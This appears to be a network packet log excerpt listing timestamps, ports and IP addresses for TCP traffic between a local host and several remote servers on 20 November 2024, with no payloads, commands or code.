Nov 20, 2024 08:09:17.591948032 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.609469891 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:17.609507084 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:17.639329910 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.689373016 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.689441919 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.689488888 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.689539909 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.689555883 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.689574957 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.689635992 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.776510000 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.776577950 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.776633024 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.776667118 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.776717901 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.776717901 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.779807091 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.779855967 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.779907942 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.779922009 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.779984951 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.779984951 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.863684893 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.863756895 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.863771915 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.863796949 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.863845110 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.863863945 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.865122080 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.865175962 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.865201950 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.865211964 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.865236998 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.865258932 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.867554903 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.867614031 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.867640972 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.867655993 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.867686987 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.867706060 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.868742943 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.868793011 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.868818998 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.868829966 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.868864059 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.868884087 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.949311018 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.949379921 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.949428082 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.949465990 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.949518919 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.949543953 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.950747967 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.950793028 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.950841904 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.950855017 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.950890064 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.950946093 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.952372074 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.952419996 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.952457905 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.952470064 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.952505112 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.952526093 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.954308987 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.954354048 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.954397917 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.954411030 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.954442978 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.954468966 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.956182957 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.956229925 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.956278086 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.956290007 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.956325054 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.956346035 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.957035065 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.957077980 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.957125902 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.957138062 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.957168102 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.957192898 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.957818985 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.957902908 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.957916021 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.957966089 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.957968950 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.958025932 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.959098101 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.959131956 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.959158897 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.959175110 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.982321024 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:17.982372046 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:17.982449055 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:17.996627092 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:17.996665955 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:18.027461052 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.027528048 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.027637959 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.028548956 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.028613091 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.028691053 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.028700113 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.028719902 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.029679060 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.029702902 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.029777050 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.029978991 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.030004978 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.030323029 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.030339956 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.030455112 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.030482054 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.030529022 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.030658007 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.030668974 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.031443119 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.031478882 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.031538963 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.032308102 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.032325983 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.105369091 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.105417967 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:18.154792070 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:18.154823065 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:18.154890060 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:18.156835079 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:18.156855106 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:18.395504951 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:18.395531893 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:18.395580053 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:18.395958900 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:18.395972967 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:18.557962894 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:18.558835030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:18.562865973 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.563739061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.563889980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:18.564021111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:18.564145088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:18.568996906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.569009066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.569063902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.569073915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:18.674242020 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.674371004 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.682070017 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.682781935 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.696026087 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.710408926 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.710447073 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.710916996 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.710930109 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.713840961 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.713862896 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.714478016 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.714483023 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.714777946 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.714806080 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.715157032 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.715162039 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.715610027 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.715637922 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.716016054 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.716023922 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.716362953 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.716394901 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.716883898 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.716896057 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.789980888 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:18.790071011 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:18.811471939 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.811530113 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.811665058 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.811688900 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.811781883 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.811994076 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.812010050 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.812035084 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.812083006 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.812093973 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.812629938 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.812644005 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.812669039 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.812724113 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.812745094 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.813453913 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.813504934 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.818440914 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.818466902 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.818535089 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.818567991 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.818805933 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.820660114 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.820698023 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.820751905 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.838459969 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.838498116 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.838514090 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.838521957 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.839948893 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.839965105 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.839981079 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.839997053 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.840008974 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.840014935 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.840375900 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.840375900 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.840445995 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.840472937 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.841547966 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.841547966 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:18.841564894 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.841620922 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:18.875996113 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:18.876091003 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:18.921758890 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:18.921787977 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:18.922147989 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:19.092489958 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:19.110133886 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:19.165972948 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:19.165994883 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:19.167473078 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:19.167490005 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:19.169802904 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:19.171293020 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:19.171389103 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:19.180864096 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.180898905 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.180978060 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.230870008 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.230901957 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.240475893 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.240510941 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.240830898 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.240861893 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.240889072 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.240936995 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.241142988 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.241156101 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.241622925 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.241645098 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.244049072 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:19.244075060 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.244101048 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:19.244241953 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.244259119 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.244345903 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.244364023 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.244582891 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.244740963 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.244750023 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.245053053 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.245062113 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.247091055 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:19.247091055 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:19.247132063 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:19.348223925 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:19.348242044 CET	443	49760	18.245.60.53	192.168.2.5
Nov 20, 2024 08:09:19.551367044 CET	49760	443	192.168.2.5	18.245.60.53
Nov 20, 2024 08:09:19.762913942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:19.762974977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:19.880151033 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.882813931 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.898021936 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.898344994 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.925223112 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:19.946767092 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.947263002 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.977170944 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:19.993123055 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.993148088 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.999605894 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:19.999653101 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.000277996 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.000289917 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.001924038 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.001935005 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.002248049 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.002255917 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.016952991 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.016973019 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.017478943 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.017484903 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.100657940 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.100753069 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.100810051 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.102595091 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.102654934 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.102705002 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.115520000 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.115581036 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.115721941 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.151323080 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.230006933 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.230032921 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.230788946 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.230798960 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.231684923 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.231712103 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.231729031 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.231743097 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.231813908 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.231836081 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.231847048 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.231853008 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.231913090 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.231913090 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.231928110 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.231937885 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.236372948 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.236390114 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.236773014 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.236779928 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.244622946 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.244648933 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.245234013 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.245251894 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.245290041 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.245342970 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.245342970 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.245367050 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.245537996 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.245971918 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.327476025 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.327636957 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.327693939 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.332892895 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.332892895 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.332921982 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.333019972 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.333022118 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.333379030 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.333427906 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.338377953 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.338427067 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.338720083 CET	49775	443	192.168.2.5	13.107.246.45
